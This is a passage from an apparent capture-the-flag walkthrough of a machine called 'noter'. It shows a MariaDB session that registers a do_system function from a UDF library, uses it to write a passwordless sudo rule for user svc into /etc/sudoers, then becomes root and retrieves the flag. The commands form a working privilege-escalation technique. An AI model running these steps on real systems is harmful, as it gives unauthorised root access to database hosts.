Query OK, 1 row affected (0.001 sec)
MariaDB [mysql]> create function do_system returns integer soname 'hop_udf2.so';
Query OK, 0 rows affected (0.001 sec)
MariaDB [mysql]> select * from mysql.func;
+-----------+-----+-------------+----------+
| name | ret | dl | type |
+-----------+-----+-------------+----------+
| do_system | 2 | hop_udf2.so | function |
+-----------+-----+-------------+----------+
1 row in set (0.000 sec)
MariaDB [mysql]> select do_system('echo "svc ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers');
+------------------------------------------------------------------+
| do_system('echo "svc ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers') |
+------------------------------------------------------------------+
| 0 |
+------------------------------------------------------------------+
1 row in set (0.002 sec)
MariaDB [mysql]> exit
Bye
svc@noter:~$ sudo su
root@noter:/home/svc# id
uid=0(root) gid=0(root) groups=0(root)Flag
The root flag was retrieved on the machine.
